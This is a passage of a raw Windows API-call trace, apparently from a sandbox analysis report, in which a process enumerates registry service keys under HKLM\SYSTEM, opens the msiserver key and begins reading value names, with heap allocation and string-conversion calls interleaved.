(HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.877] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0250.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0250.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0250.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0250.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.877] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0250.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0250.877] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0250.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1da8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0250.878] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0250.878] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0250.878] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0250.878] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0250.878] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0250.878] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0250.878] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0250.878] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0250.878] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0250.878] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0250.878] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0250.878] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0250.879] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0250.879] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0250.879] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0250.879] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0250.879] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0250.879] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0250.879] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0250.879] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0250.879] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0250.879] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0250.879] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0250.879] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0250.879] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0250.880] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0250.880] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0250.880] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0250.880] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0250.880] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0250.880] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0250.880] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0250.880] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0250.880] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0250.880] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0250.880] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0250.880] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0250.880] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0250.881] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0250.881] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0250.881] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0250.881] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0250.881] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0250.881] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0250.881] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0250.881] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0250.881] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0250.881] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0250.881] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0250.881] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0250.881] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0250.882] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0250.882] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0250.882] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0250.882] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0250.882] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0250.882] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0250.882] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0250.882] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0250.882] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0250.882] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0250.882] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0250.882] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0250.882] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0250.883] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0250.883] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0250.883] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0250.883] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0250.883] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0250.883] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0250.883] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0250.883] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0250.883] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0250.883] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0250.883] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0250.883] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0250.883] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0250.884] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0250.884] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0250.884] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0250.884] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0250.884] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0250.884] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0250.884] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0250.884] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0250.884] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0250.884] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0250.884] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0250.884] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0250.884] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0250.885] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0250.885] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0250.885] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0250.885] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0250.885] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0250.885] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0250.885] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0250.885] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0250.885] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0250.885] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0250.885] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0250.885] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0250.885] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0250.886] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0250.886] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0250.886] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0250.886] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0250.886] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0250.886] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0250.886] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0250.886] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0250.886] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0250.886] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0250.886] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0250.886] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0250.886] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0250.886] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0250.887] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0250.887] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0250.887] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0250.887] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0250.887] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0250.887] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0250.887] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0250.887] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0250.887] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0250.887] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0250.887] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0250.888] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0250.888] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0250.888] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0250.888] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0250.888] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0250.888] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0250.888] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0250.888] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0250.888] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0250.888] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0250.888] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0250.888] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0250.888] RegCloseKey (hKey=0xc4) returned 0x0 [0250.889] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0250.889] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0250.889] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0250.889] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0250.889] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0250.889] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0250.889] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0250.889] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0250.889] RegCloseKey (hKey=0x80000002) returned 0x0 [0250.889] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0250.889] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0250.889] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0250.889] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0250.889] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0250.890] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0250.890] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0250.890] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0250.890] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0250.890] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0250.890] RegCloseKey (hKey=0x148) returned 0x0 [0250.890] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0250.890] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0250.890] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0250.890] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0250.890] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0250.890] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0250.890] RegCloseKey (hKey=0xc4) returned 0x0 [0250.890] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0250.891] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0250.891] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0250.891] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0250.891] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0250.891] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0250.896] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0250.896] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0250.896] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0250.896] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.896] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, 